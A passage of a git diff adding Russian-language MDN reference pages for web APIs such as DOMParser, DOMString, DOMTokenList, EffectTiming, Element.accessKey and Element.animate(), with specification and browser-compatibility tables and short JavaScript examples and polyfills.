+			return;
+		}
+	} catch (ex) {}
+
+	<span style="font-size: 1rem;">proto</span><span style="font-size: 1rem;">.parseFromString = function(markup, type) {</span>
+		if (/^\s*text\/html\s*(?:;|$)/i.test(type)) {
+			var
+			  doc = document.implementation.createHTMLDocument("")
+			;
+	      		if (markup.toLowerCase().indexOf('&lt;!doctype') &gt; -1) {
+        			doc.documentElement.innerHTML = markup;
+      			}
+      			else {
+        			doc.body.innerHTML = markup;
+      			}
+			return doc;
+		} else {
+			return <span style="font-size: 1rem;">nativeParse</span><span style="font-size: 1rem;">.apply(this, arguments);</span>
+		}
+	};
+}(DOMParser));
+</pre>
+
+<h3 id="DOMParser_from_ChromeJSMXPCOMPrivileged_Scope">DOMParser from Chrome/JSM/XPCOM/Privileged Scope</h3>
+
+<p>Смотрите статью по ссылке: <a href="/en-US/docs/nsIDOMParser">nsIDOMParser</a></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#the-domparser-interface', 'DOMParser')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>XML support</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1)}}</td>
+   <td>{{CompatIE(9)}}</td>
+   <td>{{CompatOpera(8)}}</td>
+   <td>{{CompatSafari(3.2)}}</td>
+  </tr>
+  <tr>
+   <td>SVG support</td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(10.0)}}</td>
+   <td>{{CompatIE(10)}}</td>
+   <td>{{CompatOpera(15)}}</td>
+   <td>{{CompatSafari(3.2)}}</td>
+  </tr>
+  <tr>
+   <td>HTML support</td>
+   <td>{{CompatChrome(30)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(12.0)}}</td>
+   <td>{{CompatIE(10)}}</td>
+   <td>{{CompatOpera(17)}}</td>
+   <td>{{CompatSafari(7.1)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>XML support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>SVG support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(10.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>HTML support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(12.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Parsing_and_serializing_XML" title="Parsing_and_serializing_XML">Анализ и сериализация XML</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest" title="DOM/XMLHttpRequest">XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/XMLSerializer" title="XMLSerializer">XMLSerializer</a></li>
+ <li><a href="/en-US/Add-ons/Code_snippets/HTML_to_DOM">Parsing HTML to DOM</a></li>
+</ul>
diff --git a/files/ru/web/api/domstring/index.html b/files/ru/web/api/domstring/index.html
new file mode 100644
index 0000000000..cfc59b52c1
--- /dev/null
+++ b/files/ru/web/api/domstring/index.html
@@ -0,0 +1,50 @@
+---
+title: DOMString
+slug: Web/API/DOMString
+translation_of: Web/API/DOMString
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><strong><code>DOMString</code></strong> - это UTF-16 String. Так как JavaScript уже использует такие строки, <code>DOMString</code> непосредственно соответствует {{jsxref("String")}}.</p>
+
+<p>Передача <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null">null</a></code> в метод или параметр принимающему DOMString, как правило приводится к "null"<code>.</code></p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebIDL', '#idl-DOMString', 'DOMString')}}</td>
+   <td>{{Spec2('WebIDL')}}</td>
+   <td>Перефразированное описание для удаления странных крайних случаев.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#DOMString', 'DOMString')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Не изменилось с {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-C74D1578', 'DOMString')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Не изменилось с {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-C74D1578', 'DOMString')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String" title="/en-US/docs/Web/API/DOMString">String</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/String_view" title="/en-US/docs/Web/JavaScript/Typed_arrays/String_view"><code>StringView</code> – a C-like representation of strings based on typed arrays</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString/Binary">Binary strings</a></li>
+</ul>
diff --git a/files/ru/web/api/domstringlist/index.html b/files/ru/web/api/domstringlist/index.html
new file mode 100644
index 0000000000..2a643869ce
--- /dev/null
+++ b/files/ru/web/api/domstringlist/index.html
@@ -0,0 +1,43 @@
+---
+title: DOMStringList
+slug: Web/API/DOMStringList
+translation_of: Web/API/DOMStringList
+---
+<p>{{APIRef("DOM")}}{{Obsolete_header}}</p>
+
+<p>Тип возвращаемый некоторыми API, который содержит список <a class="internal" href="/En/DOM/DOMString" title="En/DOM/DOMString">DOMString</a> (строки).</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("DOMStringList.length")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает длинну списка.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("DOMStringList.item()")}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}.</dd>
+ <dt>{{domxref("DOMStringList.contains()")}}</dt>
+ <dd>Возвращает {{jsxref("Boolean")}} с указанием, есть ли данная строка в списке.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификациии</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#DOMStringList", "DOMStringList")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/domstringmap/index.html b/files/ru/web/api/domstringmap/index.html
new file mode 100644
index 0000000000..bea01845fe
--- /dev/null
+++ b/files/ru/web/api/domstringmap/index.html
@@ -0,0 +1,99 @@
+---
+title: DOMStringMap
+slug: Web/API/DOMStringMap
+tags:
+  - API
+translation_of: Web/API/DOMStringMap
+---
+<p>{{ APIRef("HTML DOM") }}</p>
+
+<p><span class="seoSummary">Used by the {{ htmlattrxref("dataset") }} HTML attribute to represent data for custom attributes added to elements.</span></p>
+
+<h2 id="Доступные_методы">Доступные методы</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>DOMString <a href="#getDataAttr()">getDataAttr</a>(in DOMString prop);</code></td>
+  </tr>
+  <tr>
+   <td><code>boolean <a href="#hasDataAttr()">hasDataAttr</a>(in DOMString prop);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#removeDataAttr()">removeDataAttr</a>(in DOMString prop);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#removeProp()">removeProp</a>(in nsIAtom attr);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="#setDataAttr()">setDataAttr</a>(in DOMString prop, in DOMString value);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Методы">Методы</h2>
+
+<h3 id="hasDataAttr()">hasDataAttr()</h3>
+
+<pre class="eval">boolean hasDataAttr(
+  in DOMString prop
+);
+</pre>
+
+<h4 id="Аргументы">Аргументы</h4>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>The property for which to check for the existence of a value.</dd>
+</dl>
+
+<h4 id="Возвращаемое_значение">Возвращаемое значение</h4>
+
+<p><code>true</code> if the property exists; otherwise <code>false</code>.</p>
+
+<h3 id="removeDataAttr()">removeDataAttr()</h3>
+
+<pre class="eval">void removeDataAttr(
+  in DOMString prop
+);
+</pre>
+
+<h4 id="Parameters">Parameters</h4>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>The property to remove from the data set.</dd>
+</dl>
+
+<h3 id="removeProp()">removeProp()</h3>
+
+<p>Removes the property from the dataset object. Used to update the dataset object when data-* attribute has been removed from the element.</p>
+
+<pre class="eval">void removeProp(
+  in nsIAtom attr
+);
+</pre>
+
+<h4 id="Parameters_2">Parameters</h4>
+
+<dl>
+ <dt><code>attr</code></dt>
+ <dd>The property to remove from the dataset.</dd>
+</dl>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.DOMStringMap")}}</p>
+
+<h2 id="См._далее">См. далее</h2>
+
+<ul>
+ <li>{{ domxref("HTMLElement.dataset") }}</li>
+ <li>{{ htmlattrxref("dataset") }}</li>
+</ul>
diff --git a/files/ru/web/api/domtokenlist/index.html b/files/ru/web/api/domtokenlist/index.html
new file mode 100644
index 0000000000..d0b34d6749
--- /dev/null
+++ b/files/ru/web/api/domtokenlist/index.html
@@ -0,0 +1,111 @@
+---
+title: DOMTokenList
+slug: Web/API/DOMTokenList
+translation_of: Web/API/DOMTokenList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong>DOMTokenList </strong>интерфейс представляет собой набор разделённых пробелами токенов. Такой набор возвращается от {{domxref("Element.classList")}}, {{domxref("HTMLLinkElement.relList")}}, {{domxref("HTMLAnchorElement.relList")}}, {{domxref("HTMLAreaElement.relList")}}, {{domxref("HTMLIframeElement.sandbox")}}, или {{domxref("HTMLOutputElement.htmlFor")}}. Он в начале индексируется 0 как в объектах JavaScript.  DOMTokenList всегда чувствителен к регистру.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("DOMTokenList.length")}} {{ReadOnlyInline}}</dt>
+ <dd>- целое число, которое представляет собой число объектов хранящееся в объекте</dd>
+ <dt>{{domxref("DOMTokenList.value")}}</dt>
+ <dd>Список значений  {{domxref("DOMString")}}.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("DOMTokenList.item()")}}</dt>
+ <dd>Возвращает элемент из списка по индексу (возвращает <code>undefined</code> если число больше или равно длине списка).</dd>
+ <dt>{{domxref("DOMTokenList.contains()")}}</dt>
+ <dd>Возвращает <code>true</code> если список содержит отданный <em>токен</em>, иначе <code>false</code>.</dd>
+ <dt>{{domxref("DOMTokenList.add()")}}</dt>
+ <dd>Добавляет отданный <em>токен</em> в список.</dd>
+ <dt>{{domxref("DOMTokenList.remove()")}}</dt>
+ <dd>Удаляет указанный <em>токен</em> из списка.</dd>
+ <dt>{{domxref("DOMTokenList.replace()")}}</dt>
+ <dd>Заменяет существующий <em>токен</em> новым.</dd>
+ <dt>{{domxref("DOMTokenList.supports()")}}</dt>
+ <dd>Возвращает <code>true</code> если отданный <em>токен </em>поддерживается токенами в связанном атрибуте</dd>
+ <dt>{{domxref("DOMTokenList.toggle()")}}</dt>
+ <dd><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Удаляет отданный <em>токен</em> из списка и возвращает </span></font>false</code>. Если <em>токена</em> не существует, то он добавляется и функция возвращает <code>true</code>.</dd>
+ <dt>{{domxref("DOMTokenList.entries()")}}</dt>
+ <dd>Возвращает {{jsxref("Iteration_protocols","iterator")}} позволяя пройтись по всем парам ключ/значение хранящимся в объекте.</dd>
+ <dt>{{domxref("DOMTokenList.forEach()")}}</dt>
+ <dd>Выполняет предусмотренную функцию к каждому элементу <code>DOMTokenList</code>.</dd>
+ <dt>{{domxref("DOMTokenList.keys()")}}</dt>
+ <dd>Возвращает {{jsxref("Iteration_protocols", "iterator")}} позволяя пройтись по всем ключам всех пар ключ/значение, хранящихся в объекте.</dd>
+ <dt>{{domxref("DOMTokenList.values()")}}</dt>
+ <dd>Возвращает {{jsxref("Iteration_protocols", "iterator")}} позволяя пройтись по всем значениям пар ключ/значение, хранящихся в объектах.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем простом примере мы извлекаем список классов установленных в элементе {{htmlelement("p")}} как <code>DOMTokenList</code> используя {{domxref("Element.classList")}}, добавляем класс используя {{domxref("DOMTokenList.add()")}}, затем обновляем {{domxref("Node.textContent")}} в элементе <code>&lt;p&gt;</code> чтобы уравнять с <code>DOMTokenList</code>.</p>
+
+<p>Сперва HTML:</p>
+
+<pre class="brush: html">&lt;p class="a b c"&gt;&lt;/p&gt;</pre>
+
+<p>Теперь JavaScript:</p>
+
+<pre class="brush: js">var para = document.querySelector("p");
+var classes = para.classList;
+para.classList.add("d");
+para.textContent = 'paragraph classList is "' + classes + '"';</pre>
+
+<p>Результат выглядит так:</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Обрезка_пробелов_и_удаление_дупликатов">Обрезка пробелов и удаление дупликатов</h2>
+
+<p>Метод, который модифицирует <code>DOMTokenList</code> (как {{domxref("DOMTokenList.add()")}}) автоматически обрезает все излишки {{Glossary("Whitespace")}} и удаляет значения дупликатов из списка. Пример: </p>
+
+<pre class="brush: html">&lt;span class="    d   d e f"&gt;&lt;/span&gt;</pre>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+span.classList.add("x");
+span.textContent = 'span classList is "' + classes + '"';</pre>
+
+<p>Результат выглядит так:</p>
+
+<p>{{ EmbedLiveSample('Trimming_of_whitespace_and_removal_of_duplicates', '100%', 60) }}</p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Характеристики</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#interface-domtokenlist", "DOMTokenList")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div class="hidden"></div>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста проверьте в <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и сделайте pull запрос.</div>
+
+<p>{{Compat("api.DOMTokenList")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также:</h2>
+
+<ul>
+ <li>{{domxref("DOMSettableTokenList")}} (объект который расширяет <code>DOMTokenList</code> с установленным <em>.value</em> параметром)</li>
+</ul>
diff --git a/files/ru/web/api/domtokenlist/replace/index.html b/files/ru/web/api/domtokenlist/replace/index.html
new file mode 100644
index 0000000000..1a9c51f16b
--- /dev/null
+++ b/files/ru/web/api/domtokenlist/replace/index.html
@@ -0,0 +1,95 @@
+---
+title: DOMTokenList.replace()
+slug: Web/API/DOMTokenList/replace
+translation_of: Web/API/DOMTokenList/replace
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Метод <code><strong>replace()</strong></code> интерфейса {{domxref("DOMTokenList")}} заменяет существующий класс на новый класс. Если первый не существует, то <code>replace()</code> сразу же возрващает <code>false</code>, без добавления нового класса в список классов.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><var>tokenList</var>.replace(<var>oldToken</var>, <var>newToken</var>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code><var>oldToken</var></code></dt>
+ <dd>{{domxref("DOMString")}} - класс, который вы хотите заменить.</dd>
+ <dt><code><var>newToken</var></code></dt>
+ <dd>{{domxref("DOMString")}} класс, которым вы хотите заменить класс <code><var>oldToken</var></code>.</dd>
+</dl>
+
+<h3 id="Возвращает_значение">Возвращает значение</h3>
+
+<p>Boolean, которое будет <code>true</code>, если <code><var>oldToken</var></code> был успешно заменен, или <code>false</code> в противном случе.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: В старых браузерах <code>replace()</code> возвращает void.</p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>В следующем примере мы получаем список классов, установленных в элементе</span></span></span> {{htmlelement("span")}} как <code>DOMTokenList</code>, используя {{domxref("Element.classList")}}. Затем мы заменяем класс в списке и записываем список в {{domxref("Node.textContent")}}, принадлежащий <code>&lt;span&gt;</code>.</p>
+
+<p>В HTML:</p>
+
+<pre class="brush: html notranslate">&lt;span class="a b c"&gt;&lt;/span&gt;</pre>
+
+<p>В JavaScript:</p>
+
+<pre class="brush: js notranslate">let span = document.querySelector("span");
+let classes = span.classList;
+
+let result = classes.replace("c", "z");
+console.log(result);
+
+if (result) {
+  span.textContent = classes;
+} else {
+  span.textContent = 'token not replaced successfully';
+}</pre>
+
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Результат выглядит так:</span></span></span></p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Полифилл">Полифилл</h2>
+
+<p>Следующий полифилл добавит метод replace в класс <code>DOMTokenList</code>.  Селудющий код будет работать только с <strong>IE10-11</strong>. Чтобы использовать с более ранними версиями IE, обратитесь к полифиллу по {{domxref("element.classList#Polyfill")}}</p>
+
+<pre class="brush: js notranslate"><code>DOMTokenList.prototype.replace = function (a, b) {
+    if (this.contains(a)) {
+        this.add(b);
+        this.remove(a);
+        return true;
+    }
+    return false;
+}</code></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-domtokenlist-replace','replace()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Первоначальное опредение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.DOMTokenList.replace")}}</p>
+</div>
diff --git a/files/ru/web/api/effecttiming/index.html b/files/ru/web/api/effecttiming/index.html
new file mode 100644
index 0000000000..5949858a47
--- /dev/null
+++ b/files/ru/web/api/effecttiming/index.html
@@ -0,0 +1,73 @@
+---
+title: EffectTiming
+slug: Web/API/EffectTiming
+tags:
+  - API
+  - Animation
+  - Dictionary
+  - EffectTiming
+  - Experimental
+  - animate
+  - web animation
+  - web animation api
+translation_of: Web/API/EffectTiming
+---
+<div>{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}</div>
+
+<p>Словарь <strong><code>EffectTiming</code></strong>, входящий в состав <a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a>, используется в {{domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}}, и {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} для описания временных свойств анимационных эфектов. Все эти свойства необязательные, хотя без установки <code>duration</code> анимация не будет воспроизводиться.</p>
+
+<p>Проще говоря, эти свойства описывают как {{Glossary("user agent")}} должен выполнять переход от ключевого кадра к ключевому кадру, и как вести себя, когда анимация начинается и заканчивается.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("EffectTiming.delay", "delay")}} {{optional_inline}}</dt>
+ <dd>Число миллисекунд для задержки начала анимации. По умолчанию <code>0</code>.</dd>
+ <dt>{{domxref("EffectTiming.direction", "direction")}} {{optional_inline}}</dt>
+ <dd>Указывает направление анимации. Она может выполняться вперёд (<code>normal</code>), назад (<code>reverse</code>), переключать направление после каждой итерации (<code>alternate</code>), или работать назад и переключать после каждой итерации (<code>alternate-reverse</code>). По умолчанию <code>"normal"</code>.</dd>
+ <dt>{{domxref("EffectTiming.duration", "duration")}} {{optional_inline}}</dt>
+ <dd>Число миллисекунд, в течении которых выполняется каждая итерация анимации. По умолчанию 0. Хотя это свойство технически необязательное, имейте ввиду, что ваша анимация не будет запущена, если это значение равно <code>0</code>.</dd>
+ <dt>{{domxref("EffectTiming.easing", "easing")}} {{optional_inline}}</dt>
+ <dd>Скорость изменения анимации с течением времени. Принимает заранее определённые значения <code>"linear"</code>, <code>"ease"</code>, <code>"ease-in"</code>, <code>"ease-out"</code>, и <code>"ease-in-out"</code>, или кастомное <code>"cubic-bezier"</code> со значением типа <code>"cubic-bezier(0.42, 0, 0.58, 1)"</code>. По умолчанию <code>"linear"</code>.</dd>
+ <dt>{{domxref("EffectTiming.endDelay", "endDelay")}} {{optional_inline}}</dt>
+ <dd>Число миллисекунд задержки после окончания анимации. Это в первую очередь полезно, когда последовательность действий анимации базируется на окончании другой анимации. По умолчанию <code>0</code>.</dd>
+ <dt>{{domxref("EffectTiming.fill", "fill")}} {{optional_inline}}</dt>
+ <dd>Диктует должны ли эффекты анимации отражаться элементом(ами) перед воспроизведением (<code>"backwards"</code>), сохраняться после того, как анимация завершилась (<code>"forwards"</code>), или и то и другое ("<code>both")</code>. По умолчанию <code>"none"</code>.</dd>
+ <dt>{{domxref("EffectTiming.iterationStart", "iterationStart")}} {{optional_inline}}</dt>
+ <dd>Описывает, в какой момент итерации должна начаться анимация. Например, значение 0.5 указывает на начало запуска анимации в середине первой итерации, с таким набором значений анимация с 2-мя итерациями будет закончена на полпути к третей итерации. По умолчанию <code>0.0</code>.</dd>
+ <dt>{{domxref("EffectTiming.iterations", "iterations")}} {{optional_inline}}</dt>
+ <dd>Число раз, которое анимация должна повторяться. По умолчанию <code>1</code>, может принимать значение до {{jsxref("Infinity")}}, чтобы повторять анимацию до тех пор, пока элемент существует.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#the-effecttiming-dictionaries', 'EffectTiming' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.EffectTiming")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API/Using_the_Web_Animations_API">Using the Web Animations API</a></li>
+ <li>{{domxref("Element.animate()")}}</li>
+ <li>{{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}}</li>
+ <li>{{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/accesskey/index.html b/files/ru/web/api/element/accesskey/index.html
new file mode 100644
index 0000000000..8ba1a39596
--- /dev/null
+++ b/files/ru/web/api/element/accesskey/index.html
@@ -0,0 +1,73 @@
+---
+title: Element.accessKey
+slug: Web/API/Element/accessKey
+translation_of: Web/API/HTMLElement/accessKey
+---
+<div>{{APIRef("DOM")}}</div>
+
+<div> </div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойство <font face="Consolas, Monaco, Andale Mono, monospace"><strong>accessKey</strong></font> позволяет перейти к элементу с помощью сочетания клавиш - заданной им и тех, что назначит браузер.</p>
+
+<div class="note">
+<p>По сути, <strong>accessKey </strong>задает значение для <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Global_attributes/accesskey">одноименного атрибута</a>...</p>
+</div>
+
+<div class="warning">
+<p>Данное свойство использовать не рекоммендуется, поскольку в браузерах уже заданы подобные привязки и неосторожное обращение может привести к жестокому конфликту.</p>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre>var key = elem.accessKey;
+elem.accessKey = key;
+</pre>
+
+<h2 id="sect2"> </h2>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var elem = document.getElementById("id");
+elem.accessKey = "w";
+</pre>
+
+<h2 id="Немного_информации">Немного информации</h2>
+
+<p>Фокусировка на элемент произойдет при нажатии следующих клавиш (,где<strong> acesskey</strong> - значение свойства<code><strong> acessKey).</strong></code></p>
+
+<table class="standard-table" style="height: 252px; width: 388px;">
+ <tbody>
+  <tr>
+   <td>
+    <h3 id="Браузер"><strong>      Браузер</strong></h3>
+   </td>
+   <td>
+    <h3 id="Сочетание">      Сочетание</h3>
+   </td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>[Alt] [Shift] + <em>accesskey</em></td>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>[Alt] + <em>accesskey</em></td>
+  </tr>
+  <tr>
+   <td>Chrome</td>
+   <td>[Alt] + <em>accesskey</em></td>
+  </tr>
+  <tr>
+   <td>Safari</td>
+   <td>[Alt] + <em>accesskey</em></td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>[Shift] [Esc] + <em>accesskey</em></td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/element/animate/index.html b/files/ru/web/api/element/animate/index.html
new file mode 100644
index 0000000000..04f7a3bad6
--- /dev/null
+++ b/files/ru/web/api/element/animate/index.html
@@ -0,0 +1,117 @@
+---
+title: Element.animate()
+slug: Web/API/Element/animate
+tags:
+  - API
+  - Animation
+  - Element
+  - Experimental
+  - Method
+  - Reference
+  - web animation
+translation_of: Web/API/Element/animate
+---
+<div>{{APIRef('Web Animations')}} {{SeeCompatTable}}</div>
+
+<p>Метод <strong><code>animate()</code> </strong>интерфейса<strong> </strong>{{domxref("Element")}} это быстрый способ создания {{domxref("Animation")}}, которая сразу применяется к элементу, а затем проигрывает эту анимацию. Метод возвращает созданный экземпляр класса {{domxref("Animation")}}.</p>
+
+<div class="note">
+<p>Элементы  могут иметь несколько, прикреплённых к ним, анимаций. Вы можете получить список анимаций, которые влияют на элемент, вызвав {{domxref("Element.getAnimations()")}}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>animation</em> = element.animate(<em>keyframes</em>, <em>options</em>); </pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>keyframes</code></dt>
+ <dd>
+ <p>Массив объектов ключевых кадров, <strong>либо </strong>объект ключевого кадра, свойства которого являются массивами значений для итерации. Смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API/Keyframe_Formats">Keyframe Formats</a> для получения подробной информации.</p>
+ </dd>
+ <dt><code>options</code></dt>
+ <dd>Целое число<strong>, представляющее продолжительность анимации </strong>(в миллисекундах), <strong>или</strong> объект, содержащий одно или более временных свойств.</dd>
+ <dd>
+ <dl>
+  <dt><code>id {{optional_inline}}</code></dt>
